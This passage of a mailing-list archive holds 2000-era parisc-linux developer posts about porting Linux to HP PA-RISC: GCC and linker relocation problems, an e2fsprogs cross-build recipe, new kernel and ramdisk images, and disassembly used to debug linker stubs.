	id 137gzg-0006NL-00; Thu, 29 Jun 2000 12:16:48 -0400
In-Reply-To: David Huggins-Daines's message of "29 Jun 2000 11:46:20 -0400"
Original-Lines: 10
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Original-Sender: David Huggins-Daines <dhd@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7480

David Huggins-Daines <dhd@linuxcare.com> writes:

> Would I be correct in assuming that the GCC portion of supporting
> -fPIC is more or less done, it's just that the linker can't handle the
> relocations generated?

Oh, right, that's a DLT relative reloc.  I see what the problem is now :-)

-- 
David Huggins-Daines - dhd@debian.org


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tom Crawford" <tomacrawford@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Looking for documentation
Date: Thu, 29 Jun 2000 14:29:28 EDT
Lines: 12
Approved: news@gmane.org
Message-ID: <20000629182928.11351.qmail@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416618978 1209 80.91.229.3 (22 Nov 2014 01:16:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tomacrawford@hotmail.com  Thu Jun 29 12:28:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA15939
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Jun 2000 12:28:48 -0600
Original-Received: (qmail 3651 invoked by uid 15267); 29 Jun 2000 18:30:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3610 invoked from network); 29 Jun 2000 18:30:01 -0000
Original-Received: from f239.law9.hotmail.com (HELO hotmail.com) (64.4.9.239)
  by mailserv2.iuinc.com with SMTP; 29 Jun 2000 18:30:01 -0000
Original-Received: (qmail 11352 invoked by uid 0); 29 Jun 2000 18:29:28 -0000
Original-Received: from 216.29.106.3 by www.hotmail.com with HTTP;
	Thu, 29 Jun 2000 11:29:28 PDT
X-Originating-IP: [216.29.106.3]
Xref: news.gmane.org gmane.linux.ports.parisc:7481

Hi,

I'm looking for any documentation you may have for the HP 715/100 (i.e. 
Owners Guide, Tech Reference, etc).  Also, I can't get anything to come up 
for the HP Workstation HCL's you have posted on your Documentation page and 
I can't find them when I ftp to puffin.external.hp.com either.  Can you 
help?  Thanks.

TC
________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] userland test failure
Date: Fri, 30 Jun 2000 09:13:12 +1000 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006300910420.1784-100000@front.linuxcare.com.au>
References: <874s6csd6b.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618979 1210 80.91.229.3 (22 Nov 2014 01:16:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Thu Jun 29 17:12:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA18152
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Jun 2000 17:12:18 -0600
Original-Received: (qmail 2733 invoked by uid 15267); 29 Jun 2000 23:13:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2628 invoked from network); 29 Jun 2000 23:13:22 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 29 Jun 2000 23:13:22 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA01925;
	Fri, 30 Jun 2000 09:13:12 +1000
In-Reply-To: <874s6csd6b.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7482

On 29 Jun 2000, David Huggins-Daines wrote:

> Would I be correct in assuming that the GCC portion of supporting
> -fPIC is more or less done, it's just that the linker can't handle the
> relocations generated?

Yup.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] e2fsprogs available
Date: Fri, 30 Jun 2000 13:41:48 -0600
Lines: 62
Approved: news@gmane.org
Message-ID: <20000630194149.EE49F37E33@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_-6386702340"
X-Trace: ger.gmane.org 1416618979 1214 80.91.229.3 (22 Nov 2014 01:16:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Fri Jun 30 13:39:01 2000
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA26345
	for <parisc-linux@puffin.external.hp.com>; Fri, 30 Jun 2000 13:39:01 -0600
Original-Received: (qmail 7025 invoked by uid 15267); 30 Jun 2000 19:40:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6936 invoked from network); 30 Jun 2000 19:40:14 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 30 Jun 2000 19:40:14 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP id 8390D70C
	for <parisc-linux@thepuffingroup.com>; Fri, 30 Jun 2000 13:40:11 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id EE49F37E33
	for <parisc-linux@thepuffingroup.com>; Fri, 30 Jun 2000 13:41:48 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:7483

This is a multipart MIME message.

--==_Exmh_-6386702340
Content-Type: text/plain; charset=us-ascii

A cross-compiled e2fsprogs is now available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/e2fsprogs-20000630.t
gz

This is the 1.19-WIP-0527a version of e2fsprogs from sourceforge. Attached is 
the build recipe.

I also placed a pseudoroot tarball of Paul Bame's fdisk is at,

ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/fdisk-20000630.tgz

I updated the /dev tarball(in the same directory) to add the scsi device 
families.  I have placed a version of the nfsroot tarball that includes all of 
these updates at,

ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/nfsroot-latest.tar.gz

Using the above I was able to natively partition, mke2fs, mount, create files, 
execute files, umount, and fsck using the scsi disk in my 712.

Please give it a try.

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com


--==_Exmh_-6386702340
Content-Type: text/plain ; name="e2fs.recipe"; charset=us-ascii
Content-Description: e2fs.recipe
Content-Disposition: attachment; filename="e2fs.recipe"


export CROSSPREFIX=hppa1.1-linux-
export CC=${CROSSPREFIX}gcc
export GCC=${CROSSPREFIX}gcc
export LD=${CROSSPREFIX}gcc
export AS=${CROSSPREFIX}as
export AR=${CROSSPREFIX}ar
export RANLIB=${CROSSPREFIX}ranlib
export STRIP=${CROSSPREFIX}strip
export IMAKECPP=${CROSSPREFIX}cpp
./configure --build=i386-linux \
		--host=hppa1.1-linux \
		--with-cc=hppa1.1-linux-gcc \
		--with-linker=hppa1.1-linux-ld \
		--disable-dynamic-e2fsck

make
make install DESTDIR=/home/taggart/puffin/userspace/e2fsprogs/tmp

--==_Exmh_-6386702340--



From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Document Priority?
Date: Mon, 22 Mar 1999 11:52:16 -0800 (PST)
Lines: 32
Approved: news@gmane.org
Message-ID: <199903221952.LAA23806@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618979 1218 80.91.229.3 (22 Nov 2014 01:16:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:19 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: jason@gatekeeper.equator.com  Mon Mar 22 14:52:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id OAA08927
	for <hppa-linux@sod.res.cmu.edu>; Mon, 22 Mar 1999 14:52:35 -0500
Original-Received: (qmail 31944 invoked by uid 15267); 22 Mar 1999 19:51:34 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 31932 invoked from network); 22 Mar 1999 19:51:29 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 22 Mar 1999 19:51:29 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id LAA23806
	for hppa-linux@thepuffingroup.com; Mon, 22 Mar 1999 11:52:16 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:7484


>
> 	Does anyone have particular machines/chips/subassemblies that
> they are desperate for documentation on?  I've been working on "LASI"
> which is the I/O subsystem for the 712 (and pretty much all 7100LC, 
> 7300LC, 7200, 8000, 8200 based computers).  I'm currently digging for
> I/O docs for the earlier machines like the 720/730 adn early 715s.
>

  Not sure about everyone else, but I'd be intersted in these to get C
  class machines up and running. Its likely that these at least overlap
  the other systems:

   1. Onyx ERS (PCXU).
   2. CORE I/O on Raven or similar systems. Not sure if this is the same
      as LASI on 712.
   3. Graphics subsystems. For my machine in particular, builtin 
      Visualize-EG (goat).
   4. Any bug reports that MUST be worked around by the OS. In particular,
      I believe the S-chip had problems that could not be ignored by the OS.


   I'm sure I'll think of more.

> 	What output format should I generate? PostScript? PDF? PCL?
>

  1st PDF or 2nd PS.
  Forget PCL.

  Jason.


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New defconfig/nfsroot/ramdisk/lifimage available
Date: Fri, 30 Jun 2000 17:29:24 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20000630232924.701C937E33@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618980 1222 80.91.229.3 (22 Nov 2014 01:16:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Fri Jun 30 17:26:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA28155
	for <parisc-linux@puffin.external.hp.com>; Fri, 30 Jun 2000 17:26:33 -0600
Original-Received: (qmail 7546 invoked by uid 15267); 30 Jun 2000 23:27:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7536 invoked from network); 30 Jun 2000 23:27:50 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 30 Jun 2000 23:27:50 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP id CBFF221F
	for <parisc-linux@thepuffingroup.com>; Fri, 30 Jun 2000 17:27:45 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 701C937E33
	for <parisc-linux@thepuffingroup.com>; Fri, 30 Jun 2000 17:29:24 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:7485

A couple updates...

- I updated the default parisc kernel config to have SCSI disk/tape/cdrom, and 
the LASI/SYM53C8XX drivers turned on(and normal I/O for SYM).

- I created a new small root tarball, available at,
ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/nfsroot-small-latest.t
ar.gz
I added fdisk, mke2fs, fsck.ext2, and the scsi stuff in /dev

- I created a new ramdisk(4MB) using the above tarball, available at,
ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks/ramdisk.bin-latest

- I built a new lifimage using the new kernel config, today's kernel cvs bits, 
and the above ramdisk. It's available at,
ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-latest

Using this lifimage you should be able to boot your system and 
partition/mke2fs/mount/use your scsi disks. Please give it a try and report 
successes/failures to the list.

Thanks,

-- 
Matt Taggart
taggart@fc.hp.com




From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@vodka.thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Mon, 3 Jul 2000 15:15:39 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20000703151539.K12436@vodka.thepuffingroup.com>
References: <Pine.LNX.4.21.0006231116510.24137-100000@front.linuxcare.com.au> <Pine.LNX.4.21.0006232007520.26260-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618980 1224 80.91.229.3 (22 Nov 2014 01:16:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:20 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: willy@localhost.localdomain  Mon Jul  3 14:19:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA18966
	for <parisc-linux@puffin.external.hp.com>; Mon, 3 Jul 2000 14:19:52 -0600
Original-Received: (qmail 4104 invoked by uid 15267); 3 Jul 2000 20:21:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4082 invoked from network); 3 Jul 2000 20:21:16 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost.localdomain) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 3 Jul 2000 20:21:16 -0000
Original-Received: (from willy@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id PAA06004;
	Mon, 3 Jul 2000 15:15:39 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.21.0006232007520.26260-100000@front.linuxcare.com.au>; from Alan Modra on Fri, Jun 23, 2000 at 08:34:43PM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7486

On Fri, Jun 23, 2000 at 08:34:43PM +1000, Alan Modra wrote:
> Hi Paul,
>    I nearly forgot to follow up with the results of my kernel build.  It
> was "ld -r" that caused the failure, and the following patch to the kernel
> Makefile cures the build problem for me.  Not tested as I don't have any
> hp hardware.

Applying that patch to the kernel makefile and the r8-patch to the current
CVS binutils-2.10 yields a working kernel.  Thanks, Alan.

-- 
The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Tue, 4 Jul 2000 10:21:54 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20000704102154.Q12436@vodka.thepuffingroup.com>
References: <E135Dev-0007ho-00@noam.fc.hp.com> <Pine.LNX.4.21.0006231116510.24137-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618980 1228 80.91.229.3 (22 Nov 2014 01:16:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:20 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: willy@localhost.localdomain  Tue Jul  4 09:25:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA27128
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jul 2000 09:25:55 -0600
Original-Received: (qmail 3255 invoked by uid 15267); 4 Jul 2000 15:27:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3243 invoked from network); 4 Jul 2000 15:27:16 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost.localdomain) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 4 Jul 2000 15:27:16 -0000
Original-Received: (from willy@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id KAA12835;
	Tue, 4 Jul 2000 10:21:54 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.21.0006231116510.24137-100000@front.linuxcare.com.au>; from Alan Modra on Fri, Jun 23, 2000 at 11:45:16AM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:7487

On Fri, Jun 23, 2000 at 11:45:16AM +1000, Alan Modra wrote:
> No, gcc doesn't need to be rebuilt.  The problem here (I think - I'm going
> to build a kernel in a the moment) is the silly use of "ld -r" in the
> kernel build process.  This has the unfortunate effect of concatenating
> all the .text sections, making some too large for a branch to reach its
> stub section.  Of course this same thing can happen with very large object
> files.
> 
> One fairly simple work-around is to use -ffunction-sections when compiling,
> as then you need a truely enormous function (> 4*2**(17-1) bytes long)
> before you'll get "cannot reach stub"  Also, gcc has support for handling
> even these enormous functions.

how about 
  --split-by-reloc COUNT      Split output sections every COUNT relocs
would that help?

-- 
The Sex Pistols were revolutionaries.  The Bay City Rollers weren't.


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Tue, 04 Jul 2000 16:33:18 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <m139bFr-001VspC@chalet>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618981 1233 80.91.229.3 (22 Nov 2014 01:16:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:21 +0000 (UTC)
To: alan@linuxcare.com.au, parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.riverrock.org  Tue Jul  4 16:34:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA02662
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jul 2000 16:34:26 -0600
Original-Received: (qmail 10058 invoked by uid 15267); 4 Jul 2000 22:35:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10046 invoked from network); 4 Jul 2000 22:35:46 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 4 Jul 2000 22:35:46 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m139bFr-001VspC@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Tue, 4 Jul 2000 16:33:23 -0600 (MDT) 
Errors-To: bame@riverrock.org
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:7488


Unfortunately it looks like a couple of us are unable to build
working user-space executables with the no-%r8 linker.  I tried re-linking
with the old (16-June) one and that works (but of course that linker
can't link large executables).  So starting with:

	main(){}

I used both the 16-June and today's binutils.  It appears the "broken"
executable is running or sleeping (unlikely?) and it doesn't panic
the system.  I disassembled both versions and the _init sections are
a bit different, which isn't surprising, but also doesn't look right
to me.  Here's the one which works, using the old %r8 stub method:

000010b4 <_init>:
    10b4:       6b c2 3f d9     stw rp,-14(sr0,sp)
    10b8:       37 de 00 80     ldo 40(sp),sp
    10bc:       6b d3 3f c1     stw r19,-20(sr0,sp)
    10c0:       6b c4 3f 81     stw r4,-40(sr0,sp)
    /* jsr through stub to __gmon_start */
    10c4:       e5 00 22 f4     be,l 1178(sr4,r8),%sr0,%r31
    10c8:       08 13 02 44     copy r19,r4
    /* jsr through stub to __do_global_ctors_aux */
    10cc:       e5 00 22 bc     be,l 115c(sr4,r8),%sr0,%r31
    10d0:       08 00 02 40     nop
    10d4:       4b c2 3f 59     ldw -54(sr0,sp),rp
    10d8:       e8 40 c0 00     bv r0(rp)
    10dc:       4f c4 3f 81     ldw,mb -40(sr0,sp),r4

And here's the new one which fails.  Looks like maybe the %rp is
not being set, or the linker's overwriting a branch in a funny
way or something:

000010bc <_init>:
    10bc:       6b c2 3f d9     stw rp,-14(sr0,sp)
    10c0:       37 de 00 80     ldo 40(sp),sp
    10c4:       6b d3 3f c1     stw r19,-20(sr0,sp)
    10c8:       6b c4 3f 81     stw r4,-40(sr0,sp)
    /* jsr through local stub to __gmon_start */
    10cc:       e8 5f 1f c5     b,l 10b4 <_init-0x8>,rp
    10d0:       08 13 02 44     copy r19,r4
    /* branch to __do_global_ctors_aux !!! rp was never set !!! */
    10d4:       20 2b 40 00     ldil 56000,r1
    10d8:       e0 20 26 ba     be,n 35c(sr4,r1)
    /* nullified instruction -- otherwise it'd be an infinite loop */
    10dc:       e8 5f 1f e5     b,l 10d4 <_init+0x18>,rp
    10e0:       08 00 02 40     nop
    10e4:       4b c2 3f 59     ldw -54(sr0,sp),rp
    10e8:       e8 40 c0 00     bv r0(rp)
    10ec:       4f c4 3f 81     ldw,mb -40(sr0,sp),r4

Help?

	-Paul Bame


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Wed, 5 Jul 2000 10:36:07 +1000 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007051019050.31061-100000@front.linuxcare.com.au>
References: <m139bFr-001VspC@chalet>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618981 1237 80.91.229.3 (22 Nov 2014 01:16:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: bame@riverrock.org
Original-X-From: alan@linuxcare.com.au  Tue Jul  4 18:35:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA03399
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jul 2000 18:35:05 -0600
Original-Received: (qmail 5602 invoked by uid 15267); 5 Jul 2000 00:36:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5583 invoked from network); 5 Jul 2000 00:36:24 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 00:36:24 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA31502;
	Wed, 5 Jul 2000 10:36:07 +1000
In-Reply-To: <m139bFr-001VspC@chalet>
Xref: news.gmane.org gmane.linux.ports.parisc:7489

On Tue, 4 Jul 2000 bame@riverrock.org wrote:

> And here's the new one which fails.  Looks like maybe the %rp is
> not being set, or the linker's overwriting a branch in a funny
> way or something:
> 
> 000010bc <_init>:
>     10bc:       6b c2 3f d9     stw rp,-14(sr0,sp)
>     10c0:       37 de 00 80     ldo 40(sp),sp
>     10c4:       6b d3 3f c1     stw r19,-20(sr0,sp)
>     10c8:       6b c4 3f 81     stw r4,-40(sr0,sp)
>     /* jsr through local stub to __gmon_start */
>     10cc:       e8 5f 1f c5     b,l 10b4 <_init-0x8>,rp
>     10d0:       08 13 02 44     copy r19,r4

The following is actually a long branch stub
>     /* branch to __do_global_ctors_aux !!! rp was never set !!! */
>     10d4:       20 2b 40 00     ldil 56000,r1
>     10d8:       e0 20 26 ba     be,n 35c(sr4,r1)

Here's where rp is set.
>     /* nullified instruction -- otherwise it'd be an infinite loop */
>     10dc:       e8 5f 1f e5     b,l 10d4 <_init+0x18>,rp
>     10e0:       08 00 02 40     nop
>     10e4:       4b c2 3f 59     ldw -54(sr0,sp),rp
>     10e8:       e8 40 c0 00     bv r0(rp)
>     10ec:       4f c4 3f 81     ldw,mb -40(sr0,sp),r4

The trouble is that _init is a single function that's been split in two
(see glibc/csu/Makefile crti,crtn), thus the linker thinks it's quite OK
to insert a stub at the start of the second section.  I'll have to do
something special with the .init section to work around this problem.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Get rid of %r8 linker stubs
Date: Wed, 5 Jul 2000 10:38:02 +1000 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0007051036190.31061-100000@front.linuxcare.com.au>
References: <20000704102154.Q12436@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618981 1239 80.91.229.3 (22 Nov 2014 01:16:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:21 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Tue Jul  4 18:36:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA03553
	for <parisc-linux@puffin.external.hp.com>; Tue, 4 Jul 2000 18:36:47 -0600
Original-Received: (qmail 6467 invoked by uid 15267); 5 Jul 2000 00:38:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6452 invoked from network); 5 Jul 2000 00:38:07 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 5 Jul 2000 00:38:07 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA31546;
	Wed, 5 Jul 2000 10:38:02 +1000
In-Reply-To: <20000704102154.Q12436@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7490

On Tue, 4 Jul 2000 willy@thepuffingroup.com wrote:

> On Fri, Jun 23, 2000 at 11:45:16AM +1000, Alan Modra wrote:
